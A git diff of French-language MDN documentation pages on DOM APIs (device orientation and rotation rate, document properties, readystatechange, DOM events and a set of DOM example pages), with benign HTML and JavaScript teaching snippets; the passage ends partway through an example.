+ +
var absolute = instanceOfDeviceOrientationEvent.absolute;
+
+ +

DeviceOrientationEvent.absolute retourne un booléen :

+ +
    +
  • true : si les données d'orientation dans instanceOfDeviceOrientationEvent est proposer dans un référentiel terrestre.
    • +
  • false : si les données d'orientation utilisent un référentiel arbitraire.
    • +
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutsCommentaires
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

Compatibilité entre les navigateurs

+ +

{{ page("/en-US/docs/Web/API/DeviceOrientationEvent","Browser_compatibility") }}

+ +

Voir aussi

+ + + +

{{ event("deviceorientation") }}

diff --git a/files/fr/web/api/devicerotationrate/alpha/index.html b/files/fr/web/api/devicerotationrate/alpha/index.html deleted file mode 100644 index b5ea61916c..0000000000 --- a/files/fr/web/api/devicerotationrate/alpha/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: DeviceRotationRate.alpha -slug: Web/API/DeviceRotationRate/alpha -tags: - - API - - DOM - - Mobile - - Propriétés - - Vitesse - - axes - - rotation - - z -translation_of: Web/API/DeviceMotionEventRotationRate/alpha -translation_of_original: Web/API/DeviceRotationRate/alpha ---- -

{{ ApiRef("Device Orientation Events") }}

- -

Cette propriété indique la vitesse de rotation autour de l'axe Z -- en degrés par seconde -- dans un objet {{ domxref("DeviceRotationRate") }}.

- -

Syntaxe

- -
var alpha = deviceRotationRate.alpha;
-
- -

Cette propriété est en lecture seule.

- -

Valeur retournée

- -
-
alpha
-
Un double indiquant la vitesse de rotation autour de l'axe Z, en degrés par seconde. Voir Détecter l'orientation de l'appareil pour plus de détails.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
diff --git a/files/fr/web/api/devicerotationrate/beta/index.html b/files/fr/web/api/devicerotationrate/beta/index.html deleted file mode 100644 index 75fa4b5ced..0000000000 --- a/files/fr/web/api/devicerotationrate/beta/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: DeviceRotationRate.beta -slug: Web/API/DeviceRotationRate/beta -tags: - - API - - DOM - - Orientation - - Propriétés - - Vitesse - - axes - - rotation - - x -translation_of: Web/API/DeviceMotionEventRotationRate/beta -translation_of_original: Web/API/DeviceRotationRate/beta ---- -

{{ ApiRef("Device Orientation Events") }}

- -

Cette propriété indique la vitesse de rotation autour de l'axe X -- en degrés par seconde -- dans un objet {{ domxref("DeviceRotationRate") }}.

- -

Syntaxe

- -
var beta = deviceRotationRate.beta;
-
- -

Cette propriété est en lecture seule.

- -

Valeur retournée

- -
-
beta
-
Un double indiquant la vitesse de rotation autour de l'axe X, en degrés par seconde. Voir Détecter l'orientation de l'appareil pour plus de détails.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
diff --git a/files/fr/web/api/devicerotationrate/gamma/index.html b/files/fr/web/api/devicerotationrate/gamma/index.html deleted file mode 100644 index bd4731d90c..0000000000 --- a/files/fr/web/api/devicerotationrate/gamma/index.html +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: DeviceRotationRate.gamma -slug: Web/API/DeviceRotationRate/gamma -tags: - - API - - DOM - - Mobile - - Orientation - - Propriétés - - axes - - rotation - - 'y' -translation_of: Web/API/DeviceMotionEventRotationRate/gamma -translation_of_original: Web/API/DeviceRotationRate/gamma ---- -

{{ ApiRef("Device Orientation Events") }}

- -

Cette propriété indique la vitesse de rotation autour de l'axe Y -- en degrés par seconde -- dans un objet {{ domxref("DeviceRotationRate") }}.

- -

Syntaxe

- -
var gamma = deviceRotationRate.gamma;
-
- -

Cette propriété est en lecture seule.

- -

Valeur retournée

- -
-
gamma
-
Un double indiquant la vitesse de rotation autour de l'axe Y, en degrés par seconde. Voir Détecter l'orientation d'un appareil pour plus de détails.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
diff --git a/files/fr/web/api/devicerotationrate/index.html b/files/fr/web/api/devicerotationrate/index.html deleted file mode 100644 index f6cf9b4988..0000000000 --- a/files/fr/web/api/devicerotationrate/index.html +++ /dev/null @@ -1,100 +0,0 @@ ---- -title: DeviceRotationRate -slug: Web/API/DeviceRotationRate -tags: - - API - - Coordonnées - - DOM - - Mobile - - Vitesse - - rotation -translation_of: Web/API/DeviceMotionEventRotationRate -translation_of_original: Web/API/DeviceRotationRate ---- -

{{ ApiRef("Device Orientation Events") }} {{SeeCompatTable}}

- -

Un objet DeviceRotationRate fournit une information sur la vitesse avec laquelle un appareil est en rotation autour des 3 axes.

- -

Propriétés

- -
-
{{ domxref("DeviceRotationRate.alpha") }} {{readonlyInline}}
-
La vitesse de rotation autour de l'axe Z, en degrés par seconde.
-
{{ domxref("DeviceRotationRate.beta") }} {{readonlyInline}}
-
La vitesse de rotation autour de l'axe X, en degrés par seconde.
-
{{ domxref("DeviceRotationRate.gamma") }} {{readonlyInline}}
-
La vitesse de rotation autour de l'axe Y, en degrés par seconde.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
diff --git a/files/fr/web/api/document/activeelement/index.html b/files/fr/web/api/document/activeelement/index.html deleted file mode 100644 index 5115a1135c..0000000000 --- a/files/fr/web/api/document/activeelement/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: document.activeElement -slug: Web/API/Document/activeElement -tags: - - Référence_du_DOM_Gecko -translation_of: Web/API/DocumentOrShadowRoot/activeElement -translation_of_original: Web/API/Document/activeElement ---- -

{{ ApiRef() }}

-

Résumé

-

Renvoie l'élément qui dispose actuellement du focus.

-

{{ Note("Cet attribut fait partie de la spécification HTML 5 encore en développement.") }}

-

Syntaxe

-
var elemCourant = document.activeElement;
-
-

Exemple

-

Spécification

- -

 

-

 

-
-  
-

{{ languages( { "en": "en/DOM/document.activeElement", "es": "es/DOM/element.activeElement", "ja": "ja/DOM/document.activeElement", "pl": "pl/DOM/document.activeElement" } ) }}

diff --git a/files/fr/web/api/document/anchors/index.html b/files/fr/web/api/document/anchors/index.html new file mode 100644 index 0000000000..09fadf1b61 --- /dev/null +++ b/files/fr/web/api/document/anchors/index.html @@ -0,0 +1,80 @@ +--- +title: Document.anchors +slug: Web/API/Document/Document.anchors +translation_of: Web/API/Document/anchors +--- +
{{APIRef("DOM")}} {{deprecated_header()}}
+ +

anchors retourne une liste de toutes les ancres du document.

+ +

Syntaxe

+ +
nodeList = document.anchors;
+
+ +

Exemple

+ +
if ( document.anchors.length >= 5 ) {
+  dump("Trop d'ancres trouvées !");
+  window.location = "http://www.google.com";
+}
+
+ +

L'exemple suivant remplit un tableau avec chaque ancre présente sur la page :

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="UTF-8" />
+<title>Test</title>
+<script>
+function init() {
+  var toc = document.getElementById("toc");
+  var i, li, newAnchor;
+  for (i = 0; i < document.anchors.length; i++) {
+    li = document.createElement("li");
+    newAnchor = document.createElement('a');
+    newAnchor.href = "#" + document.anchors[i].name;
+    newAnchor.innerHTML = document.anchors[i].text;
+    li.appendChild(newAnchor);
+    toc.appendChild(li);
+  }
+}
+</script>
+
+</head>
+<body onload="init()">
+
+<h1>Title</h1>
+<h2><a name="contents">Contents</a></h2>
+<ul id="toc"></ul>
+
+<h2><a name="plants">Plants</a></h2>
+<ol>
+    <li>Apples</li>
+    <li>Oranges</li>
+    <li>Pears</li>
+</ol>
+
+<h2><a name="veggies">Veggies</a></h2>
+<ol>
+    <li>Carrots</li>
+    <li>Celery</li>
+    <li>Beats</li>
+</ol>
+
+</body>
+</html>
+
+ +

Voir dans JSFiddle

+ +

Notes

+ +

Pour des raisons de rétrocompatibilité, la liste d'ancres retournée contient seulement les ancres créées avec l'attribut name, pas celles créées avec l'attribut id.

+ +

Spécification

+ + diff --git a/files/fr/web/api/document/document.anchors/index.html b/files/fr/web/api/document/document.anchors/index.html deleted file mode 100644 index 09fadf1b61..0000000000 --- a/files/fr/web/api/document/document.anchors/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Document.anchors -slug: Web/API/Document/Document.anchors -translation_of: Web/API/Document/anchors ---- -
{{APIRef("DOM")}} {{deprecated_header()}}
- -

anchors retourne une liste de toutes les ancres du document.

- -

Syntaxe

- -
nodeList = document.anchors;
-
- -

Exemple

- -
if ( document.anchors.length >= 5 ) {
-  dump("Trop d'ancres trouvées !");
-  window.location = "http://www.google.com";
-}
-
- -

L'exemple suivant remplit un tableau avec chaque ancre présente sur la page :

- -
<!DOCTYPE html>
-<html lang="en">
-<head>
-<meta charset="UTF-8" />
-<title>Test</title>
-<script>
-function init() {
-  var toc = document.getElementById("toc");
-  var i, li, newAnchor;
-  for (i = 0; i < document.anchors.length; i++) {
-    li = document.createElement("li");
-    newAnchor = document.createElement('a');
-    newAnchor.href = "#" + document.anchors[i].name;
-    newAnchor.innerHTML = document.anchors[i].text;
-    li.appendChild(newAnchor);
-    toc.appendChild(li);
-  }
-}
-</script>
-
-</head>
-<body onload="init()">
-
-<h1>Title</h1>
-<h2><a name="contents">Contents</a></h2>
-<ul id="toc"></ul>
-
-<h2><a name="plants">Plants</a></h2>
-<ol>
-    <li>Apples</li>
-    <li>Oranges</li>
-    <li>Pears</li>
-</ol>
-
-<h2><a name="veggies">Veggies</a></h2>
-<ol>
-    <li>Carrots</li>
-    <li>Celery</li>
-    <li>Beats</li>
-</ol>
-
-</body>
-</html>
-
- -

Voir dans JSFiddle

- -

Notes

- -

Pour des raisons de rétrocompatibilité, la liste d'ancres retournée contient seulement les ancres créées avec l'attribut name, pas celles créées avec l'attribut id.

- -

Spécification

- - diff --git a/files/fr/web/api/document/elementfrompoint/index.html b/files/fr/web/api/document/elementfrompoint/index.html deleted file mode 100644 index 493d7a55a1..0000000000 --- a/files/fr/web/api/document/elementfrompoint/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: document.elementFromPoint -slug: Web/API/Document/elementFromPoint -tags: - - Référence_du_DOM_Gecko -translation_of: Web/API/DocumentOrShadowRoot/elementFromPoint -translation_of_original: Web/API/Document/elementFromPoint ---- -

{{ ApiRef() }}

-

Résumé

-

Renvoie l'élément visible au point donné, spécifié relativement au point supérieur gauche visible dans le document.

-

Syntaxe

-
element = document.elementFromPoint(x,y);
-
-

where

-
    -
  • element est un objet element.
    • -
  • x et y spécifient les coordonnées à vérifier.
    • -
-

Exemple

-
<html>
-<head>
-<title>Exemple d'utilisation d'elementFromPoint</title>
-
-<script type="text/javascript">
-
-function changeColor(newColor)
-{
- elem = document.elementFromPoint(2, 2);
- elem.style.color = newColor;
-}
-</script>
-</head>
-
-<body>
-<p id="para1">Un peu de texte ici</p>
-<button onclick="changeColor('blue');">bleu</button>
-<button onclick="changeColor('red');">rouge</button>
-</body>
-</html>
-
-

Notes

-

Si l'élément au point spécifié appartient à un autre document (par exemple, les sous-document d'un iframe), l'élément dans le DOM du document appelant (l'iframe lui-même) est renvoyé. Si l'élément au point donné est anonyme ou du contenu généré par XBL, comme la barre de défilement d'une boîte de texte, le premier élément parent non anonyme (par exemple, la boîte de texte) est renvoyé.

-

Si le point spécifié est en dehors de la portion visible du document ou que l'une ou l'autre des coordonnées est négative, le résultat est NULL.

-

{{ Note("Les appelants qui sont des documents XUL devraient attendre que l\'évènement onload se soit déclenché avant d\'appeler cette méthode.") }}

-

Spécification

- -

 

-
-  
-

{{ languages( { "en": "en/DOM/document.elementFromPoint", "es": "es/DOM/document.elementFromPoint", "ja": "ja/DOM/document.elementFromPoint" } ) }}

diff --git a/files/fr/web/api/document/getselection/index.html b/files/fr/web/api/document/getselection/index.html deleted file mode 100644 index 9352399ada..0000000000 --- a/files/fr/web/api/document/getselection/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: document.getSelection -slug: Web/API/Document/getSelection -tags: - - API - - DOM - - Méthodes - - Reference - - Selection -translation_of: Web/API/DocumentOrShadowRoot/getSelection -translation_of_original: Web/API/Document/getSelection ---- -

{{APIRef("DOM")}}

- -

Cette méthode fonctionne de manière identique à la méthode {{domxref ("Window.getSelection()")}} ; elle renvoie un objet {{domxref ("Selection")}} représentant le texte actuellement sélectionné dans le document.

diff --git a/files/fr/web/api/document/readystatechange_event/index.html b/files/fr/web/api/document/readystatechange_event/index.html new file mode 100644 index 0000000000..f4adf81f7a --- /dev/null +++ b/files/fr/web/api/document/readystatechange_event/index.html @@ -0,0 +1,87 @@ +--- +title: readystatechange +slug: Web/Events/readystatechange +translation_of: Web/API/Document/readystatechange_event +--- +

{{ApiRef}}

+ +

L'événement readystatechange est déclenché lorsque l'attribut readyState d'un document a changé.

+ +

Information générale

+ +
+
Specification
+
HTML5
+
Interface
+
Event
+
Bubbles
+
No
+
Cancelable
+
No
+
Target
+
Document
+
Default Action
+
None.
+
+ +

propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

exemple

+ +
document.readyState === "complete";
+// true
+
+
+//alternative à DOMContentLoaded
+document.onreadystatechange = function () {
+    if (document.readyState == "interactive") {
+        initApplication();
+    }
+}
+
+ + + +

Cet événement a longtemps été soutenue par Internet Explorer et peut être utilisé comme une alternative à l'evenement DOMContentLoaded (voir la note [2] de la section Navigateurs compatibles).

+ +

Les événements liés

+ +
    +
  • {{event("DOMContentLoaded")}}
    • +
  • {{event("readystatechange")}}
    • +
  • {{event("load")}}
    • +
  • {{event("beforeunload")}}
    • +
  • {{event("unload")}}
    • +
diff --git a/files/fr/web/api/document/stylesheets/index.html b/files/fr/web/api/document/stylesheets/index.html deleted file mode 100644 index 0c607adc5f..0000000000 --- a/files/fr/web/api/document/stylesheets/index.html +++ /dev/null @@ -1,56 +0,0 @@ ---- -title: Document.styleSheets -slug: Web/API/Document/styleSheets -translation_of: Web/API/DocumentOrShadowRoot/styleSheets -translation_of_original: Web/API/Document/styleSheets ---- -
{{APIRef}}
- -
La propriété Document.styleSheets est en lecture seule et retourne une liste {{domxref("StyleSheetList")}} d'objets {{domxref("StyleSheet")}}, qui font référence à l'ensemble des feuilles de style contenues ou embarquées dans le document.
- -
 
- -

Syntaxe

- -
var styleSheetList = document.styleSheets;
-
- -

L'objet retourné est une liste {{domxref("StyleSheetList")}}.

- -

Il s'agit d'une collection ordonnée d'objets {{domxref("StyleSheet")}}. styleSheetList.item(index) ou  styleSheetList{{ mediawiki.External('index') }} retourne un seul objet stylesheet par son index (index débute par 0).

- -

Spécification

- - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('CSSOM', '#dom-document-stylesheets', 'styleSheets')}}{{Spec2('CSSOM')}} 
{{SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-DocumentStyle-styleSheets', 'styleSheets')}}{{Spec2('DOM2 Style')}} 
- -

Voir aussi

- -
    -
  • {{Link("/en-US/docs/Web/API/CSS_Object_Model/Using_dynamic_styling_information")}}
    • -
- - diff --git a/files/fr/web/api/document_object_model/events/index.html b/files/fr/web/api/document_object_model/events/index.html new file mode 100644 index 0000000000..cd96a7446c --- /dev/null +++ b/files/fr/web/api/document_object_model/events/index.html @@ -0,0 +1,74 @@ +--- +title: Les évènements et le DOM +slug: Web/API/Document_Object_Model/Les_évènements_et_le_DOM +tags: + - API + - DOM + - Guide + - évènements +translation_of: Web/API/Document_Object_Model/Events +--- +

Introduction

+ +

Ce chapitre décrit le modèle d'événement DOM. L'interface Event elle-même est décrite, ainsi que les interfaces pour l'enregistrement des évènements sur les noeuds dans le DOM, les écouteurs d'évènements et d'autres exemples montrant les relations des différentes interfaces d'évènements entre elles.

+ +

Il existe un excellent diagramme qui explique clairement les trois phases du flux d'évènements à travers le DOM dans le document sur les évènements DOM Niveau 3.

+ +

Voir aussi l'exemple 5 : Propagation des évènements dans le chapitre "Exemples" pour des exemples détaillés sur le déplacement des évènements à travers le DOM.

+ +

Enregistrement des écouteurs d'évènements

+ +

Il y a 3 moyens d'enregistrer les gestionnaires d'évènements pour un élément DOM.

+ +

EventTarget.addEventListener

+ +
// Supposons que myButton est un élément de bouton
+myButton.addEventListener('click', function(){alert('Hello world');}, false);
+
+ +

C'est la méthode à utiliser dans les pages web modernes.

+ +

Note : Internet Explorer 6-8 ne prend pas en charge cette méthode, il offre une API similaire {{domxref("EventTarget.attachEvent")}} à la place. Pour la compatibilité entre navigateurs, utilisez l'une des nombreuses bibliothèques JavaScript disponibles.

+ +

Plus de détails peuvent être trouvés sur la page de référence {{domxref("EventTarget.addEventListener")}}.

+ +

attribut HTML

+ +
<button onclick="alert('Hello world!')">
+
+ +

Le code JavaScript de l'attribut est passé à l'objet évènement par le paramètre event. La valeur renvoyée est traitée d'une façon spéciale décrite dans la spécification HTML.

+ +

Ce moyen devrait être évité. Cela rend le balisage plus grand et moins lisible. Les aspects de contenu / structure et comportement ne sont pas bien séparés, rendant un bogue plus difficile à trouver.

+ +

Propriétés d'un élément DOM

+ +
// Supposons que myButton est un élément de bouton
+myButton.onclick = function(event){alert('Hello world');};
+
+ +

La fonction peut être définie pour prendre un paramètre d'event. La valeur renvoyée est traitée de façon spéciale décrite dans la spécification HTML.

+ +

Le problème avec cette méthode est qu'un seul gestionnaire peut être défini par élément et par évènement.

+ +

Accès aux interfaces d'évènements

+ +

Les gestionnaires d'évènements peuvent être attachés à divers objets y compris les éléments DOM, le document, l'objet fenêtre, etc. Lorsqu'un évènement se produit, un objet évènement est créé et passé séquentiellement aux écouteurs d'évènements.

+ +

L'interface {{domxref("Event")}} est accessible à partir de la fonction gestionnaire, via l'objet événement passé en premier argument. L'exemple simple suivant montre comment un objet d'événement est transmis à la fonction de gestionnaire d'événements et peut être utilisé à partir d'une telle fonction.

+ +
function foo(evt) {
+  // le paramètre evt est automatiquement assigné à l'objet évènement
+  alert(evt);
+}
+table_el.onclick = foo;
+
+ + + + diff --git a/files/fr/web/api/document_object_model/examples/index.html b/files/fr/web/api/document_object_model/examples/index.html new file mode 100644 index 0000000000..08bd432a1e --- /dev/null +++ b/files/fr/web/api/document_object_model/examples/index.html @@ -0,0 +1,369 @@ +--- +title: Exemples +slug: Web/API/Document_Object_Model/Exemples +tags: + - DOM + - Exemples +translation_of: Web/API/Document_Object_Model/Examples +--- +

Cette page présente quelques exemples plus détaillés de développement Web et XML utilisant le DOM. Partout où c'est possible, les exemples utilisent des API courantes, des astuces et des modèles en JavaScript pour manipuler l'objet de document.

+ +

Exemple 1 : height (hauteur) et width (largeur)

+ +

L'exemple qui suit montre l'utilisation des propriétés height et width pour dimensionner des images de diverses tailles :

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>width/height example</title>
+<script>
+function init() {
+  var arrImages = new Array(3);
+
+  arrImages[0] = document.getElementById("image1");
+  arrImages[1] = document.getElementById("image2");
+  arrImages[2] = document.getElementById("image3");
+
+  var objOutput = document.getElementById("output");
+  var strHtml = "<ul>";
+
+  for (var i = 0; i < arrImages.length; i++) {
+    strHtml += "<li>image" + (i+1) +
+            ": height=" + arrImages[i].height +
+            ", width=" + arrImages[i].width +
+            ", style.height=" + arrImages[i].style.height +
+            ", style.width=" + arrImages[i].style.width +
+            "<\/li>";
+  }
+
+  strHtml += "<\/ul>";
+
+  objOutput.innerHTML = strHtml;
+}
+</script>
+</head>
+<body onload="init();">
+
+<p>Image 1: no height, width, or style
+  <img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif">
+</p>
+
+<p>Image 2: height="50", width="500", but no style
+  <img id="image2"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       height="50" width="500">
+</p>
+
+<p>Image 3: no height, width, but style="height: 50px; width: 500px;"
+  <img id="image3"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       style="height: 50px; width: 500px;">
+</p>
+
+<div id="output"> </div>
+</body>
+</html>
+ +

Exemple 2 : attributs d'image

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Modifying an image border</title>
+
+<script>
+function setBorderWidth(width) {
+  document.getElementById("img1").style.borderWidth = width + "px";
+}
+</script>
+</head>
+
+<body>
+<p>
+  <img id="img1"
+       src="image1.gif"
+       style="border: 5px solid green;"
+       width="100" height="100" alt="border test">
+</p>
+
+<form name="FormName">
+  <input type="button" value="Make border 20px-wide" onclick="setBorderWidth(20);" />
+  <input type="button" value="Make border 5px-wide"  onclick="setBorderWidth(5);" />
+</form>
+
+</body>
+</html>
+ +

Exemple 3 : manipulation de styles

+ +

Dans cet exemple simple, on accède à certaines propriétés basiques de style d'un élément de paragraphe HTML à l'aide de son objet style. L'objet style de l'élément et ses propriétés de style CSS peuvent être récupérés et définis depuis le DOM. Dans ce cas-ci, les styles individuels sont manipulés directement. Dans l'exemple suivant (l'exemple 4), on utilisera les feuilles de style et leurs règles pour changer les styles de documents entiers.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Changing color and font-size example</title>
+
+<script>
+function changeText() {
+  var p = document.getElementById("pid");
+
+  p.style.color = "blue"
+  p.style.fontSize = "18pt"
+}
+</script>
+</head>
+<body>
+
+<p id="pid" onclick="window.location.href = 'http://www.cnn.com/';">linker</p>
+
+<form>
+  <p><input value="rec" type="button" onclick="changeText();" /></p>
+</form>
+
+</body>
+</html>
+ +

Exemple 4 : utilisation de feuilles de style

+ +

La propriété styleSheets de l'objet document renvoie une liste des feuilles de style qui ont été chargées pour ce document. On peut accéder à ces feuilles de style et leurs règles individuelles à l'aide des objets stylesheet, style et CSSRule, comme montré dans cet exemple qui affiche tous les sélecteurs de règles de style dans la console.

+ +
var ss = document.styleSheets;
+
+for(var i = 0; i < ss.length; i++) {
+  for(var j = 0; j < ss[i].cssRules.length; j++) {
+    dump( ss[i].cssRules[j].selectorText + "\n" );
+  }
+}
+ +

Pour un document avec une seule feuille de style dans laquelle les trois règles suivantes sont définies :

+ +
BODY { background-color: darkblue; }
+P { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+
+ +

Ce script affiche les lignes suivantes :

+ +
BODY
+P
+#LUMPY
+
+ +

Exemple 5 : propagation d'évènements

+ +

Cet exemple montre comment les évènements se déclenchent et sont gérés dans le DOM d'une manière très simple. Lorsque l'élément BODY de ce document HTML est chargé, un écouteur d'évènement est enregistré sur la ligne supérieure de l'élément TABLE. Celui-ci gère l'évènement en exécutant la fonction stopEvent, qui modifie la valeur de la cellule inférieure du tableau.

+ +

Cependant, stopEvent appelle également une méthode d'objet event, {{domxref("event.stopPropagation")}} , qui empêche l'évènement de se propager (bubbling) plus haut dans le DOM. Notez que le tableau lui-même dispose d'un gestionnaire d'évènement {{domxref("element.onclick","onclick")}} qui devrait afficher un message lorsqu'on clique sur le tableau. Mais comme la méthode stopEvent a interrompu la propagation, après que les données du tableau aient été mises à jour, la phase évènementielle est effectivement arrêtée et un message d'alerte est affiché pour le confirmer.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Event Propagation</title>
+
+<style>
+#t-daddy { border: 1px solid red }
+#c1 { background-color: pink; }
+</style>
+
+<script>
+function stopEvent(ev) {
+  c2 = document.getElementById("c2");
+  c2.innerHTML = "hello";
+
+  // cela devrait empêcher t-daddy d'obtenir le click.
+  ev.stopPropagation();
+  alert("event propagation halted.");
+}
+
+function load() {
+  elem = document.getElementById("tbl1");
+  elem.addEventListener("click", stopEvent, false);
+}
+</script>
+</head>
+
+<body onload="load();">
+
+<table id="t-daddy" onclick="alert('hi');">
+  <tr id="tbl1">
+    <td id="c1">one</td>
+  </tr>
+  <tr>
+    <td id="c2">two</td>
+  </tr>
+</table>
+
+</body>
+</html>
+ +

Exemple 6 : getComputedStyle

+ +

Cet exemple montre comment la méthode {{domxref("window.getComputedStyle")}} peut être utilisée pour obtenir les styles d'un élément qui ne sont pas définis dans l'attribut style ou à l'aide de JavaScript (c'est-à-dire, elem.style.backgroundColor="rgb(173, 216, 230)"). Ces derniers types de styles peuvent être récupérés avec la propriété plus directe {{domxref("element.style", "elt.style")}} , dont les propriétés sont listées dans la liste des propriétés DOM CSS.

+ +

getComputedStyle() renvoie un objet ComputedCSSStyleDeclaration, dont les propriétés de style individuelles peuvent être référencées à l'aide de sa méthode getPropertyValue() comme montré dans l'exemple suivant.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+
+<title>getComputedStyle example</title>
+
+<script>
+function cStyles() {
+  var RefDiv = document.getElementById("d1");
+  var txtHeight = document.getElementById("t1");
+  var h_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+
+  txtHeight.value = h_style;
+
+  var txtWidth = document.getElementById("t2");
+  var w_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+
+  txtWidth.value = w_style;
+
+  var txtBackgroundColor = document.getElementById("t3");
+  var b_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("background-color");
+
+  txtBackgroundColor.value = b_style;
+}
+</script>
+
+<style>
+#d1 {
+  margin-left: 10px;
+  background-color: rgb(173, 216, 230);
+  height: 20px;
+  max-width: 20px;
+}
+</style>
+
+</head>
+
+<body>
+
+<div id="d1">&nbsp;</div>
+
+<form action="">
+  <p>
+    <button type="button" onclick="cStyles();">getComputedStyle</button>
+    height<input id="t1" type="text" value="1" />
+    max-width<input id="t2" type="text" value="2" />
+    bg-color<input id="t3" type="text" value="3" />
+  </p>
+</form>
+
+</body>
+</html>
+ +

Exemple 7 : affichage des propriétés d'un objet event

+ +

Cet exemple utilise des méthodes DOM pour afficher les propriétés d'un objet {{domxref("window.onload")}} {{domxref("event")}}   et leurs valeurs dans un tableau. Il montre également une technique utile utilisant une boucle for..in pour parcourir les propriétés d'un objet et obtenir leurs valeurs.

+ +

Les propriétés des objets event diffèrent sensiblement entre les différents navigateurs, la spécification norme DOM liste les propriétés standard, mais beaucoup de navigateurs ont ajouté un bon nombre de propriétés supplémentaires.

+ +

Placez le code qui suit dans une fichier texte vide et chargez-le dans différents navigateurs, vous serez surpris des différences entre le nombre et le nom des propriétés. Vous pouvez également ajouter quelques éléments à la page et appeler cette fonction depuis d'autres gestionnaires d'évènements.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="utf-8"/>
+<title>Show Event properties</title>
+
+<style>
+table { border-collapse: collapse; }
+thead { font-weight: bold; }
+td { padding: 2px 10px 2px 10px; }
+
+.odd { background-color: #efdfef; }
+.even { background-color: #ffffff; }
+</style>
+
+<script>
+
+function showEventProperties(e) {
+  function addCell(row, text) {
+    var cell = row.insertCell(-1);
+    cell.appendChild(document.createTextNode(text));
+  }
+
+  var e = e || window.event;
+  document.getElementById('eventType').innerHTML = e.type;
+
